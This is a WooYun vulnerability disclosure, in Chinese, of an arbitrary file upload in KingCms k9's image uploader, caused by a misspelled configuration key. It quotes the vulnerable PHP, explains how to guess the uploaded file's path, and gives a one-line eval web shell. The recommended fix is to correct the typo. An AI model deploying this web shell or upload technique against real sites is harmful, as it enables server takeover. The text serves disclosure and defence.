当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102022

漏洞标题:KingCms最新版(k9)GetShell

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-03-18 15:11

修复时间:2015-05-02 15:12

公开时间:2015-05-02 15:12

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版(k9)GetShell

详细说明:

朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。
在平台看到了几个漏洞,如:
来看看这次shell是如何发生的吧
问题文件在/user/up_image.php
先来看看图片上传的整个过程/user/up_image.php(下面代码中关键步骤我都加了注释)

$upext=kc_config('up.imageype');//注释1:获取允许上传的图片类型
@ini_set('upload_tmp_dir',ROOT.PATH_UP.'/temp/');
无关代码
$err = "";
$msg = "''";
$u=new user;
$userid=$u->info['userid'];
if($u->auth_group('user_upimage',true)==false) $err='您所在会员组会员无权上传图片';
$upfile=@$_FILES[$inputname];
if(!isset($upfile))$err='文件域的name错误';
elseif(!empty($upfile['error']))
{
无关代码
}
elseif(empty($upfile['tmp_name']) || $upfile['tmp_name'] == 'none')$err = '无文件上传';
else
{
$temppath=$upfile['tmp_name'];
$extension=strtolower(substr($upfile['name'],strrpos($upfile['name'],'.')+1));//注释2:获取上传文件的类型
if(preg_match('/'.str_replace(',','|',$upext).'/i',$extension))//注释3:判断文件是否允许上传
{
$bytes=$upfile['size'];//filesize($temppath);
if($bytes > $maxattachsize)$err='请不要上传大小超过'.formatBytes($maxattachsize).'的文件';
else
{
//创建目录
$attach_subdir =date('y/m/d');
$attach_dir = PATH_UP.'/'.$attach_subdir;
$attach_subdirs=explode('/',$attach_subdir);
$attach_temp=ROOT.PATH_UP;
foreach($attach_subdirs as $r){//注释4:上传后文件的路径
$attach_temp.='/'.$r;
if(!is_dir($attach_temp)){
@mkdir($attach_temp, 0755);
@fclose(fopen($attach_temp.'/index.html', 'w'));
}
}
$filename=date("His").mt_rand(1000,9999).'.'.$extension;//注释5:上传后文件的名字
$target = $attach_dir.'/'.$filename;
rename($temppath,ROOT.$target);
$arr=getimagesize(ROOT.$target);
list($width,$height)=$arr;
$extension=strtolower(substr(strrchr($arr['mime'], '/'), 1));
$fext=$extension=='jpg' ? 'jpeg' : strtolower($extension);
$func='imagecreatefrom'.$fext;//加载图像函数
$source=$func(ROOT.$target);
$max_width=kc_config('system.image_width');
$max_height=kc_config('system.image_height');
if ($width>$max_width || $height>$max_height) {
if($width>=$height*$max_width/$max_height){
$newW=$max_width;
$newH=($max_width/$width)*$height;
}else{
$newW=($max_height/$height)*$width;
$newH=$max_height;
}
$thumb=imagecreatetruecolor($newW, $newH);
// Resize
imagecopyresampled($thumb, $source, 0, 0, 0, 0, $newW, $newH, $width, $height);
$func='image'.$fext;
imageantialias($thumb,True);
$func($thumb,ROOT.$target);
@chmod(ROOT.$target,0755);
}
无关代码


整个上传的过程简单来说是这样实现的:
1:获取允许上传的图片类型(见上面代码中注释1)
2:获取上传文件的类型(见上面代码中注释2)
3:判断文件是否允许上传(见上面代码中注释3)
4:上传后文件的路径(见上面代码中注释4)
5:上传后文件的名字(见上面代码中注释5)
问题就出在第1步,$upext=kc_config('up.imageype');在获取允许上传的文件类型时,正确的写法应该是$upext=kc_config('up.imagetype');(请看官仔细对比这两句代码的不同之处,反正我当时测试的时候看了半天,哈哈)。由于这个错误,导致$upext是空,也就使的(第3步):preg_match('/'.str_replace(',','|',$upext).'/i',$extension)总是返回1,也就是说任何后缀的文件都可以上传了!
程序员该打PP~
然后分析第4、5步,可以得到文件上传的路径是以当前时间定义的,比如今天是2015-03-16,上传后文件的路径是/upfiles/15/03/16,文件是名字也是根据当前时间定义的,时分秒.xxxx.后缀(xxxx四位随机数),当然文件上传后可以通过图片属性获得其路径,也可以遍历这4个随机数(毕竟样本太少了,秒遍历啊)。
上传个php文件看看,内容为

<?php 
eval($_POST["p"]);
?>


上传过程副本.jpg


上传成功后就可以为所欲为了,大马、菜刀…,这里测试一下吧

捕获副本.jpg

漏洞证明:

见 详细说明

修复方案:

修改写错的拼写啊

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝